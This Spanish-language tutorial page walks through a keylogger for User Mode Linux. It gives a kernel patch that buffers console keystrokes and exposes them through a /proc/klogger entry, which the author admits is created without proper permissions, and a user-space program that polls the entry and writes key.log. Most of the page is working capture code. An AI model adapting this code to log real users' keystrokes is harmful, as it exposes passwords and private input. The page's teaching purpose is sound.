UML Keylogger
Este es el código de un keylogger que corre dentro de User Mode Linux. El código completo está en el repositorio http://svn.arhuaco.org/svn/src/linux/examples/uml/keylogger/trunk/.
Escribir un keylogger que corra fuera de UML no es mucho más difícil, aunque no es el propósito de este documento.
Parche para User Mode Linux (kernel)
Este parche nos ayuda a crear un buffer en el kernel para alojar las teclas pulsadas que luego serán leídas. El parche se aplica al archivo arch/um/drivers/chan_kern.c.
En esta parte se crea un buffer en el kernel (kst_log de longitud KST_BUFFER_LEN.
Se incluyen los archivos linux/seq_file.h y linux/proc_fs.h para tener acceso a la interfaz seq_file y las funciones del /proc filesystem.
--- arch/um/drivers/chan_kern.c.orig 2006-05-29 16:23:59.000000000 -0500 +++ arch/um/drivers/chan_kern.c 2006-05-29 17:49:04.000000000 -0500 @@ -47,6 +47,63 @@ } +#define CONFIG_PROC_KLOGGER +#ifdef CONFIG_PROC_KLOGGER + +#define KST_BUFFER_LEN 128 + +#include <linux/seq_file.h> +#include <linux/proc_fs.h> +#include <linux/init.h> + +char kst_log[KST_BUFFER_LEN]; +int kst_actual = 0;
La siguiente función se encarga de escribir el contenido del buffer.
+static int proc_kst_show(struct seq_file *m, void *v)
+{
+ int i;
+ int error = 0;
+
+ for (i = 0; !error && i < kst_actual; i++)
+ error = seq_printf(m, "%c", kst_log[i]);
+
+ kst_actual = 0;
+
+ return 0;
+}
A continuación se define la función proc_kst_open y la estructura proc_kst_operations. La función proc_kst_open se llamará cuando abran el archivo /proc/klogger, y esta especifica que la función que escribe el contenido requerido es proc_kst_show.
Las funciones seq_read, seq_lseek y single_release hacen parte de la interfaz seq_file.
+static int proc_kst_open(struct inode *inode, struct file *file)
+{
+ return single_open(file, proc_kst_show, NULL);
+}
+
+static struct file_operations proc_kst_operations = {
+ .open = proc_kst_open,
+ .read = seq_read,
+ .llseek = seq_lseek,
+ .release = single_release,
+};
La siguiente función se encarga de registrar la entrada /proc/klogger cuando el kernel inicia. Note que no se están asignando los permisos apropiados. En una implementación en producción, el archivo sólo debería poder leerse por el usuario root.
+static int __init proc_kts_init(void)
+{
+ struct proc_dir_entry *e;
+
+ e = create_proc_entry("klogger", 0, NULL);
+
+ if (e)
+ e->proc_fops = &proc_kst_operations;
+ else
+ printk(KERN_ERR "chan_kern.c : /proc/klogger creation failed \n");
+ /* This printk might not show up */
+
+ return 0;
+}
La función proc_kts_init se incluye en la lista de funciones que se llamarán al iniciar el kernel. La memoria ocupada por esta función será liberada al terminar la inicialización del kernel (ver más).
+__initcall(proc_kts_init); + +#endif /* CONFIG_PROC_KLOGGER */
Acá está el código que toma las teclas y las guarda en el buffer. El código ha sido insertado en la función generic_read. Cuando el buffer se llena se imprime un mensaje (una sola vez).
#ifdef CONFIG_NOCONFIG_CHAN
/* Despite its name, there's no added trailing newline. */
static int my_puts(const char * buf)
@@ -138,6 +195,17 @@
return 0;
else if(n == 0)
return -EIO;
+
+#ifdef CONFIG_PROC_KLOGGER
+ if (kst_actual < KST_BUFFER_LEN)
+ {
+ kst_log[kst_actual++] = *c_out;
+
+ if (kst_actual == KST_BUFFER_LEN)
+ printk(KERN_ERR "Keylogger buffer is full\n");
+ }
+#endif
+
return n;
}
Programa en el espacio del usuario
El siguiente programa de ejemplo se encarga de leer la entrada /proc/klogger cuatro veces por segundo.
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#define BUFF_SIZE 128
int main(int argc, char *argv[])
{
FILE *p, *k;
char *buff[BUFF_SIZE];
p = fopen("key.log", "w");
if (!p)
{
fprintf(stderr, "Couldn't open key.log\n");
exit(EXIT_FAILURE);
}
while(1)
{
usleep(1000000 / 4);
k = fopen("/proc/klogger", "r");
while(!feof(k))
{
size_t n;
n = fread(buff, 1, BUFF_SIZE, k);
if (n > 0)
{
fwrite(buff, 1, n, p);
fflush(p);
}
}
fclose(k);
}
return EXIT_SUCCESS;
}
Last update: 2007-04-01 (Rev 10985)